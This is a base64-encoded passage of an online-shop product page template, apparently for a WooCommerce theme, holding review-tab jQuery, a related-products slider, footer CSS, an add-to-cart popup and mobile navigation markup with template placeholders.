ICAgICAgICAgdmFyIHRhcmdldCA9ICQodGhpcy5oYXNoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICh0YXJnZXQubGVuZ3RoKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZS5wcmV2ZW50RGVmYXVsdCgpOw0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZ29SZXZpZXdUYWIodGFyZ2V0KTsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vIE9wZW4gcmV2aWV3IGZvcm0gaWYgYWNjZXNzZWQgdmlhIGFuY2hvcg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAod2luZG93LmxvY2F0aW9uLmhhc2ggPT0gJyNyZXZpZXdfZm9ybScgfHwgd2luZG93LmxvY2F0aW9uLmhhc2ggPT0gJyNyZXZpZXdzJyB8fCB3aW5kb3cubG9jYXRpb24uaGFzaC5pbmRleE9mKCcjY29tbWVudC0nKSAhPSAtMSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFyIHRhcmdldCA9ICQod2luZG93LmxvY2F0aW9uLmhhc2gpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKHRhcmdldC5sZW5ndGgpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnb1Jldmlld1RhYih0YXJnZXQpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRhYnMuZmluZCgnaDIucmVzcC1hY2NvcmRpb24nKS5vbignY2xpY2snLCBmdW5jdGlvbiAoZSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZ29BY2NvcmRpb25UYWIoJCh0aGlzKSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0pKHdpbmRvdy5qUXVlcnkpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfTsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKHdpbmRvdy50aGVtZSAmJiB0aGVtZS5pc0xvYWRlZCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBvcnRvX2luaXRfZGVzY190YWIoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd2luZG93LmFkZEV2ZW50TGlzdGVuZXIoJ2xvYWQnLCBwb3J0b19pbml0X2Rlc2NfdGFiKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSkoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3NjcmlwdD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KDQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQoNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvbWFpbj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KDQoNCiAgICAgICAgICAgICAgICAgICAgPC9kaXY+PCEtLSBlbmQgbWFpbiBjb250ZW50IC0tPg0KDQogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InNpZGViYXItb3ZlcmxheSI+PC9kaXY+DQoNCiAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgIDwvZGl2Pg0KDQogICAgICAgICAgICA8ZGl2IGNsYXNzPSJyZWxhdGVkIHByb2R1Y3RzIj4NCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb250YWluZXIiPg0KICAgICAgICAgICAgICAgICAgICA8aDIgY2xhc3M9InNsaWRlci10aXRsZSByZWxhdGVkLXByb2R1Y3RzIj5SZWxhdGVkIHByb2R1Y3RzPC9oMj4NCg0KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJzbGlkZXItd3JhcHBlciI+DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIDx1bCBjbGFzcz0icHJvZHVjdHMgcHJvZHVjdHMtY29udGFpbmVyIHByb2R1Y3RzLXNsaWRlciBvd2wtY2Fyb3VzZWwgc2hvdy1kb3RzLXRpdGxlLXJpZ2h0IGRvdHMtc3R5bGUtMSBwY29scy1sZy01IHBjb2xzLW1kLTQgcGNvbHMteHMtMyBwY29scy1scy0yIHB3aWR0aC1sZy01IHB3aWR0aC1tZC00IHB3aWR0aC14cy0yIHB3aWR0aC1scy0xIg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRhdGEtcGx1Z2luLW9wdGlvbnM9InsmcXVvdDt0aGVtZUNvbmZpZyZxdW90Ozp0cnVlLCZxdW90O2xnJnF1b3Q7OjUsJnF1b3Q7bWQmcXVvdDs6NCwmcXVvdDt4cyZxdW90OzozLCZxdW90O2xzJnF1b3Q7OjIsJnF1b3Q7ZG90cyZxdW90Ozp0cnVlfSINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBkYXRhLXByb2R1Y3RfbGF5b3V0PSJwcm9kdWN0LXdxX29uaW1hZ2UiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHt7ZGV0YWlsX3Byb2R1Y3RfcmVsYXRlZH19DQogICAgICAgICAgICAgICAgICAgICAgICA8L3VsPg0KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0icG9ydG8tYmxvY2siIGRhdGEtaWQ9IjE3MTIiPg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbnRhaW5lciI+PC9kaXY+DQogICAgICAgICAgICA8L2Rpdj4NCg0KDQogICAgICAgIDwvZGl2PjwhLS0gZW5kIG1haW4gLS0+DQoNCg0KICAgICAgICA8ZGl2IGNsYXNzPSJmb290ZXItd3JhcHBlciI+DQoNCiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvb3Rlci10b3AiPg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbnRhaW5lciI+DQogICAgICAgICAgICAgICAgICAgIDxhc2lkZSBpZD0iYmxvY2std2lkZ2V0LTUiIGNsYXNzPSJ3aWRnZXQgd2lkZ2V0LWJsb2NrIj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImJsb2NrIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3R5bGU+LmVsZW1lbnRvci0xNzY5IC5lbGVtZW50b3ItZWxlbWVudC5lbGVtZW50b3ItZWxlbWVudC03M2IzNTZiIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcGFkZGluZzogMi4yNWVtIDBlbSAxZW0gMGVtOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIC5lbGVtZW50b3ItMTc2OSAuZWxlbWVudG9yLWVsZW1lbnQuZWxlbWVudG9yLWVsZW1lbnQtMjQxZjhmNSAucG9ydG8taWNvbiB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMzVweDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY29sb3I6ICMyMjI1Mjk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJhY2tncm91bmQ6ICNGNEY0RjQ7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgLmVsZW1lbnRvci0xNzY5IC5lbGVtZW50b3ItZWxlbWVudC5lbGVtZW50b3ItZWxlbWVudC0yNDFmOGY1IC5wb3J0by1pY29uIHN2ZyB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZpbGw6ICMyMjI1Mjk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgLmVsZW1lbnRvci0xNzY5IC5lbGVtZW50b3ItZWxlbWVudC5lbGVtZW50b3ItZWxlbWVudC0yNDFmOGY1IC5wb3J0by1zaWNvbi1pbWcucG9ydG8tdS1jaXJjbGUtaW1nOmJlZm9yZSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJvcmRlci1jb2xvcjogI0Y0RjRGNDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAuZWxlbWVudG9yLTE3NjkgLmVsZW1lbnRvci1lbGVtZW50LmVsZW1lbnRvci1lbGVtZW50LTI0MWY4ZjUgLnBvcnRvLXNpY29uLWltZyB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJhY2tncm91bmQ6ICNGNEY0RjQ7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDUwcHg7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgLmVsZW1lbnRvci0xNzY5IC5lbGVtZW50b3ItZWxlbWVudC5lbGVtZW50b3ItZWxlbWVudC0yNDFmOGY1IC5wb3J0by1pY29uLmFkdmFuY2VkIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNTBweDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd2lkdGg6IDgwcHg7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGhlaWdodDogODBweDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbGluZS1oZWlnaHQ6IDgwcHg7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgLmVsZW1lbnRvci0xNzY5IC5lbGVtZW50b3ItZWxlbWVudC5lbGVtZW50b3ItZWxlbWVudC0yNDFmOGY1IC5wb3J0by1zaWNvbi10aXRsZSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMXJlbTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9udC13ZWlnaHQ6IDcwMDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbGluZS1oZWlnaHQ6IDEuMmVtOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIC5lbGVtZW50b3ItMTc2OSAuZWxlbWVudG9yLWVsZW1lbnQuZWxlbWVudG9yLWVsZW1lbnQtMjQxZjhmNSAucG9ydG8tc2ljb24taGVhZGVyIHAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb250LXNpemU6IDAuODc1cmVtOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb250LXdlaWdodDogNTAwOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsaW5lLWhlaWdodDogMWVtOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIC5lbGVtZW50b3ItMTc2OSAuZWxlbWVudG9yLWVsZW1lbnQuZWxlbWVudG9yLWVsZW1lbnQtMjQxZjhmNSAucG9ydG8tc2ljb24tZGVzY3JpcHRpb24gew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb250LXNpemU6IDAuODEyNXJlbTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAuZWxlbWVudG9yLTE3NjkgLmVsZW1lbnRvci1lbGVtZW50LmVsZW1lbnRvci1lbGVtZW50LTMxMmFlZTkgLnBvcnRvLWljb24gew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb250LXNpemU6IDM1cHg7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvbG9yOiAjMjIyNTI5Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kOiAjRjRGNEY0Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIC5lbGVtZW50b3ItMTc2OSAuZWxlbWVudG9yLWVsZW1lbnQuZWxlbWVudG9yLWVsZW1lbnQtMzEyYWVlOSAucG9ydG8taWNvbiBzdmcgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmaWxsOiAjMjIyNTI5Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIC5lbGVtZW50b3ItMTc2OSAuZWxlbWVudG9yLWVsZW1lbnQuZWxlbWVudG9yLWVsZW1lbnQtMzEyYWVlOSAucG9ydG8tc2ljb24taW1nLnBvcnRvLXUtY2lyY2xlLWltZzpiZWZvcmUgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBib3JkZXItY29sb3I6ICNGNEY0RjQ7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgLmVsZW1lbnRvci0xNzY5IC5lbGVtZW50b3ItZWxlbWVudC5lbGVtZW50b3ItZWxlbWVudC0zMTJhZWU5IC5wb3J0by1zaWNvbi1pbWcgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kOiAjRjRGNEY0Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBib3JkZXItcmFkaXVzOiA1MHB4Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIC5lbGVtZW50b3ItMTc2OSAuZWxlbWVudG9yLWVsZW1lbnQuZWxlbWVudG9yLWVsZW1lbnQtMzEyYWVlOSAucG9ydG8taWNvbi5hZHZhbmNlZCB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDUwcHg7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdpZHRoOiA4MHB4Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBoZWlnaHQ6IDgwcHg7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxpbmUtaGVpZ2h0OiA4MHB4Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIC5lbGVtZW50b3ItMTc2OSAuZWxlbWVudG9yLWVsZW1lbnQuZWxlbWVudG9yLWVsZW1lbnQtMzEyYWVlOSAucG9ydG8tc2ljb24tdGl0bGUgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb250LXNpemU6IDFyZW07DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA3MDA7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxpbmUtaGVpZ2h0OiAxLjJlbTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAuZWxlbWVudG9yLTE3NjkgLmVsZW1lbnRvci1lbGVtZW50LmVsZW1lbnRvci1lbGVtZW50LTMxMmFlZTkgLnBvcnRvLXNpY29uLWhlYWRlciBwIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9udC1zaXplOiAwLjg3NXJlbTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9udC13ZWlnaHQ6IDUwMDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbGluZS1oZWlnaHQ6IDFlbTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAuZWxlbWVudG9yLTE3NjkgLmVsZW1lbnRvci1lbGVtZW50LmVsZW1lbnRvci1lbGVtZW50LTMxMmFlZTkgLnBvcnRvLXNpY29uLWRlc2NyaXB0aW9uIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9udC1zaXplOiAwLjgxMjVyZW07DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgLmVsZW1lbnRvci0xNzY5IC5lbGVtZW50b3ItZWxlbWVudC5lbGVtZW50b3ItZWxlbWVudC05NTA3ZTc1IC5wb3J0by1pY29uIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9udC1zaXplOiAzNXB4Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb2xvcjogIzIyMjUyOTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYmFja2dyb3VuZDogI0Y0RjRGNDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAuZWxlbWVudG9yLTE3NjkgLmVsZW1lbnRvci1lbGVtZW50LmVsZW1lbnRvci1lbGVtZW50LTk1MDdlNzUgLnBvcnRvLWljb24gc3ZnIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZmlsbDogIzIyMjUyOTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAuZWxlbWVudG9yLTE3NjkgLmVsZW1lbnRvci1lbGVtZW50LmVsZW1lbnRvci1lbGVtZW50LTk1MDdlNzUgLnBvcnRvLXNpY29uLWltZy5wb3J0by11LWNpcmNsZS1pbWc6YmVmb3JlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiAjRjRGNEY0Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIC5lbGVtZW50b3ItMTc2OSAuZWxlbWVudG9yLWVsZW1lbnQuZWxlbWVudG9yLWVsZW1lbnQtOTUwN2U3NSAucG9ydG8tc2ljb24taW1nIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYmFja2dyb3VuZDogI0Y0RjRGNDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNTBweDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAuZWxlbWVudG9yLTE3NjkgLmVsZW1lbnRvci1lbGVtZW50LmVsZW1lbnRvci1lbGVtZW50LTk1MDdlNzUgLnBvcnRvLWljb24uYWR2YW5jZWQgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBib3JkZXItcmFkaXVzOiA1MHB4Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aWR0aDogODBweDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaGVpZ2h0OiA4MHB4Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsaW5lLWhlaWdodDogODBweDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAuZWxlbWVudG9yLTE3NjkgLmVsZW1lbnRvci1lbGVtZW50LmVsZW1lbnRvci1lbGVtZW50LTk1MDdlNzUgLnBvcnRvLXNpY29uLXRpdGxlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9udC1zaXplOiAxcmVtOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb250LXdlaWdodDogNzAwOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsaW5lLWhlaWdodDogMS4yZW07DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgLmVsZW1lbnRvci0xNzY5IC5lbGVtZW50b3ItZWxlbWVudC5lbGVtZW50b3ItZWxlbWVudC05NTA3ZTc1IC5wb3J0by1zaWNvbi1oZWFkZXIgcCB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMC44NzVyZW07DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA1MDA7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxpbmUtaGVpZ2h0OiAxZW07DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgLmVsZW1lbnRvci0xNzY5IC5lbGVtZW50b3ItZWxlbWVudC5lbGVtZW50b3ItZWxlbWVudC05NTA3ZTc1IC5wb3J0by1zaWNvbi1kZXNjcmlwdGlvbiB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMC44MTI1cmVtOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIC5ib3R0b20tYWRzIC5wb3J0by1zaWNvbi1oZWFkZXIgKyAucG9ydG8tc2ljb24tZGVzY3JpcHRpb24gew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtYXJnaW4tdG9wOiAuNXJlbQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIC5ib3R0b20tYWRzIC5sZWZ0LWljb24gLnBvcnRvLXNpY29uLWxlZnQgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB2ZXJ0aWNhbC1hbGlnbjogbWlkZGxlDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfTwvc3R5bGU+DQogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgPC9hc2lkZT4NCiAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgIDwvZGl2Pg0KDQogICAgICAgICAgICA8ZGl2IGlkPSJmb290ZXIiIGNsYXNzPSJmb290ZXIgZm9vdGVyLTMiDQogICAgICAgICAgICA+DQoNCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb290ZXItYm90dG9tIj4NCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29udGFpbmVyIj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvb3Rlci1sZWZ0Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB7e2Zvb3Rlcl9jb3B5cmlnaHR9fQ0KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvb3Rlci1yaWdodCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGltZyBjbGFzcz0iaW1nLXJlc3BvbnNpdmUgZm9vdGVyLXBheW1lbnQtaW1nIg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3JjPSIvd3AtY29udGVudC91cGxvYWRzLzIwMjAvMDEvc2hvcDEwX3BheW1lbnQtMS5wbmciIGFsdD0iUGF5bWVudCBHYXRld2F5cyIvPg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQoNCiAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICA8L2Rpdj4NCg0KDQogICAgICAgIDwvZGl2Pg0KDQogICAgPC9kaXY+DQoNCjwvZGl2PjwhLS0gZW5kIHdyYXBwZXIgLS0+DQo8ZGl2IGNsYXNzPSJhZnRlci1sb2FkaW5nLXN1Y2Nlc3MtbWVzc2FnZSBzdHlsZS0yIj4NCiAgICA8ZGl2IGNsYXNzPSJiYWNrZ3JvdW5kLW92ZXJsYXkiPjwvZGl2Pg0KICAgIDxkaXYgY2xhc3M9ImxvYWRlciBzdWNjZXNzLW1lc3NhZ2UtY29udGFpbmVyIj4NCiAgICAgICAgPGRpdiBjbGFzcz0ibXNnLWJveCI+DQogICAgICAgICAgICA8ZGl2IGNsYXNzPSJtc2ciPllvdSYjMDM5O3ZlIGp1c3QgYWRkZWQgdGhpcyBwcm9kdWN0IHRvIHRoZSBjYXJ0OjxwDQogICAgICAgICAgICAgICAgICAgIGNsYXNzPSJwcm9kdWN0LW5hbWUgdGV4dC1jb2xvci1wcmltYXJ5Ij48L3A+PC9kaXY+DQogICAgICAgIDwvZGl2Pg0KICAgICAgICA8YnV0dG9uIGNsYXNzPSJidXR0b24gYnRuLXByaW1heSB2aWV3Y2FydCIgZGF0YS1saW5rPSIiPlZpZXcgQ2FydDwvYnV0dG9uPg0KICAgICAgICA8YnV0dG9uIGNsYXNzPSJidXR0b24gYnRuLXByaW1heSBjb250aW51ZV9zaG9wcGluZyI+Q29udGludWU8L2J1dHRvbj4NCiAgICA8L2Rpdj4NCjwvZGl2Pg0KDQo8ZGl2IGNsYXNzPSJwYW5lbC1vdmVybGF5Ij48L2Rpdj4NCjxkaXYgaWQ9InNpZGUtbmF2LXBhbmVsIiBjbGFzcz0iIj4NCiAgICA8YSBocmVmPSIjIiBhcmlhLWxhYmVsPSJNb2JpbGUgQ2xvc2UiIGNsYXNzPSJzaWRlLW5hdi1wYW5lbC1jbG9zZSI+PGkgY2xhc3M9ImZhcyBmYS10aW1lcyI+PC9pPjwvYT4NCiAgICA8ZGl2IGNsYXNzPSJzd2l0Y2hlci13cmFwIj48L2Rpdj4NCiAgICA8ZGl2IGNsYXNzPSJtZW51LXdyYXAiPjx1bCBpZD0ibWVudS1tYWluLW1lbnUtMSIgY2xhc3M9Im1vYmlsZS1tZW51IGFjY29yZGlvbi1tZW51Ij57e3Byb2R1Y3RfY2F0ZWdvcnlfbW9iaWxlfX08L3VsPjwvZGl2Pg0KICAgIDxkaXYgY2xhc3M9InNoYXJlLWxpbmtzIj48YSB0YXJnZXQ9Il9ibGFuayIgcmVsPSJub2ZvbGxvdyBub29wZW5lciBub3JlZmVycmVyIiBjbGFzcz0ic2hhcmUtZmFjZWJvb2siIGhyZWY9IiMiDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRpdGxlPSJGYWNlYm9vayI+PC9hPg0KICAgICAgICA8YSB0YXJnZXQ9Il9ibGFuayIgcmVsPSJub2ZvbGxvdyBub29wZW5lciBub3JlZmVycmVyIiBjbGFzcz0ic2hhcmUtdHdpdHRlciIgaHJlZj0iIyIgdGl0bGU9IlR3aXR0ZXIiPjwvYT4NCiAgICAgICAgPGEgdGFyZ2V0PSJfYmxhbmsiIHJlbD0ibm9mb2xsb3cgbm9vcGVuZXIgbm9yZWZlcnJlciIgY2xhc3M9InNoYXJlLWluc3RhZ3JhbSIgaHJlZj0iIyIgdGl0bGU9Ikluc3RhZ3JhbSI+PC9hPg0KICAgIDwvZGl2Pg0KPC9kaXY+DQoNCjxzY3JpcHQ+DQogICAgd2luZG93LlJTX01PRFVMRVMgPSB3aW5kb3cuUlNfTU9EVUxFUyB8fCB7fTsNCiAgICB3aW5kb3cuUlNfTU9EVUxFUy5tb2R1bGVzID0gd2luZG93LlJTX01PRFVMRVMubW9kdWxlcyB8fCB7fTsNCiAgICB3aW5kb3cuUlNfTU9EVUxFUy53YWl0aW5nID0gd2luZG93LlJTX01PRFVMRVMud2FpdGluZyB8fCBbXTsNCiAgICB3aW5kb3cuUlNfTU9EVUxFUy5kZWZlcmVkID0gdHJ1ZTsNCiAgICB3aW5kb3cuUlNfTU9EVUxFUy5tb2R1bGVXYWl0aW5nID0gd2luZG93LlJTX01PRFVMRVMubW9kdWxlV2FpdGluZyB8fCB7fTsNCiAgICB3aW5kb3cuUlNfTU9EVUxFUy50eXBlID0gJ2NvbXBpbGVkJzsNCjwvc2